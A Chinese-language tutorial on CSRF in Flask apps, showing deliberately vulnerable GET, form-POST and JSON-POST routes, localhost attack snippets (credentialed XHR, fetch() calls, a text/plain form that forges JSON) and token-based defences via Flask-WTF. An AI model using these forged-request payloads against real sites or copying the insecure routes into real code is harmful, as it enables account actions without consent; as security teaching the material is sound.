0%

CSRF成因、攻击和防御

CSRF成因

GET型

脆弱代码

存在CSRF的GET型请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/get', methods=['GET'])
def get():
if session.get('user','')=='admin':
ret = "Admin do something!"
else:
ret = "No Privilege..."
return ret

@app.route('/login', methods=['GET'])
def login():
user=request.args.get("user", "Null")
session["user"]=user
template="""
<h3> Login as {{ user }}... </h3>
"""
return render_template_string(template, user=user)


if __name__ == '__main__':
app.run(host='127.0.0.1', port=8888, debug=True)

先使用http://127.0.0.1:8888/login?user=admin模拟用户admin登陆,从代码可以看到登陆后网站将用户身份(简单起见就是用户名)保存到session中。
1549283807815

接着访问http://127.0.0.1:8888/get可以看到用户具有这一权限,可以进行操作(假设这一链接是一个关键操作,如重置密码或泄露其他敏感信息的操作)。

1549284215038

攻击方法

如果用户访问了恶意网页,恶意网页诱导用户访问http://127.0.0.1:8888/get或是用js发送一个get请求,那么用户由于sessionID还存在于浏览器中,因此会在无意间使用自己的身份重置密码,如用于访问了如下内容的网页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>AJAX</title>
</head>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://127.0.0.1:8888/get", true);
xhr.withCredentials = true;
xhr.send();
xhr.onreadystatechange = function(){
if(xhr.readyState === 4 && xhr.status === 200){
alert(xhr.responseText);
}
}
</script>
</html>

尽管同源策略导致js拿不到结果,但是请求仍然会正常发送:

1549284680614

POST 表单型

脆弱代码

有人认为CSRF产生的原因是因为GET请求类型造成的,其实不然,如下就是一个POST类型的代码,它同样存在CSRF问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/post', methods=['GET','POST'])
def post():
if request.method == 'GET':
template="""
<form action="http://127.0.0.1:8888/reset" method="POST">
<input name="action" type="text">
<input type="submit">
</form>
"""
return render_template_string(template)
else:
print(request.form)
data=request.form["action"]
print("session:",session)
if session.get('user','')=='admin':
print("Admin do", data)
return "Admin do "+data

else:
print("No Privilege2...")
return "No Privilege2..."

攻击方法

攻击者只需要同样的伪造POST表单即可,这里我们换用fetch()试一下,当然XMLHttpRequest()也可以。

1
fetch('http://127.0.0.1:8888/post',{method: 'POST', credentials: 'include', headers:{'Content-Type': 'application/x-www-form-urlencoded'}, body:'action=reset+password'})

尽管同源再一次没让我们拿到结果,但是请求还是发过去了:

1549285932946

POST JSON型

如果服务器严格限制了Content-Type=application/json,理论上是不存在CSRF的,因为该请求属于非简单请求,非简单请求会发先检请求确认是否允许跨域,如果不允许跨域的话js就没法使用cookie。

但是若服务器不判断content-type,那么攻击者就可以使用表单或是js伪造一个Content-Type=text/plain的请求。

脆弱代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@app.route('/json', methods=['GET','POST','OPTIONS'])
def _json():
if request.method == 'GET':
template="""
<script type="text/javascript">
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:8888/json", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"action":"change passwd..."}));
xhr.onreadystatechange = function(){
if(xhr.readyState === 4 && xhr.status === 200){
alert(xhr.responseText);
}
}
}
</script>
<button onclick="submitRequest()">Conform</button>
"""
return render_template_string(template)
else:
if session.get('user','')=='admin':
data=json.loads(request.get_data(as_text=True))
ret='Admin do '+data["action"]
else:
ret="No Privilege2..."
return ret

攻击方法

  1. 使用表单伪造post,关键是用name字段构造一个合法的json:

    1
    2
    3
    4
    <form action="http://127.0.0.1:8888/json" method="POST" enctype="text/plain">
    <input name='{"action":"change passwd...", "test":"' value='test"}' type='hidden'>
    <input type=submit>
    </form>
  2. 使用js伪造post json

    1
    fetch('http://127.0.0.1:8888/json',{method: 'POST', credentials: 'include', headers:{'Content-Type': 'text/plain'}, body:'{"action":"reset password"}'})

防御

主要有两种手段:

  1. 根据Referer判断,但是要考虑没有referer字段的情况
  2. 增加一个随机的Token,前端发送后,后端比较是否一致,本文主要介绍这一种方法

GET型

在产生GET请求的地方就加一个csrf_token,在处理get请求时判断csrf_token与cookie或session中的token是否一致。

POST表单型

对于flask,使用

1
2
3
4
from flask_wtf.csrf import CSRFProtect

app.config['SECRET_KEY'] = 'you never guess'
CSRFProtect(app)

打开csrf保护,接着再对所有的表单添加一个隐藏字段即可:

1
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}" />

增加隐藏字段后,每次POST时都会带有一个csrf_token,攻击者由于同源策略是无法获取这个token的,另外token写进session里面,即session和token是一对一关系,因此攻击者也无法通过自己的token猜测别人的token,而服务器再POST请求过来时就会验证这个token是否与session一致,若不一致则拒绝服务,这样一来攻击者就无法攻击成功了(除了把token放表单里,还可以放cookie里,攻击者仍然无法获取)

POSTJSON型

理论上严格控制content-type: application/json就能解决问题,当然也可以用通用方法:

同样还是先开启CSRF防御:

1
2
3
4
5
6
from flask_wtf.csrf import CSRFProtect


app = Flask(__name__)
app.secret_key = 'random_secret_key'
CSRFProtect(app)

让自己站的ajax拿到csrf_token,就像之前说的,将token放进cookie里,使用app.after_request修饰使得每个页面返回时都执行:

1
2
3
4
5
6
7
@app.after_request
def after_request(response):
# 调用函数生成 csrf_token
csrf_token = generate_csrf()
# 通过 cookie 将值传给前端
response.set_cookie("csrf_token", csrf_token)
return response

接着ajax从cookie拿到token并放到headers里,不用担心攻击者,因为由于同源策略,他们没法获取其他网站的cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@app.route('/json2', methods=['GET'])
def json2():
template = """
<html>
<title>Normal</title>
<center>
<h1> Reset Password </h1>
<head>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$("button").click(function(){
// body为"data=json"的请求
// var data = {data: JSON.stringify({"action": "reset password"})}
// body直接为json
var data = JSON.stringify({"action": "reset password"})
$.ajax({
url:"http://127.0.0.1:8888/json",
contentType: "application/json",
headers:{'X-CSRFToken':$.cookie('csrf_token')},
dataType: "json",
type: 'POST',
data: data,
success: function (msg) {
alert(msg.status);
}
})
});
});
</script>
</head>
<body>
<button>Conform</button>
</body>
</html>
"""
return render_template_string(template)

参考链接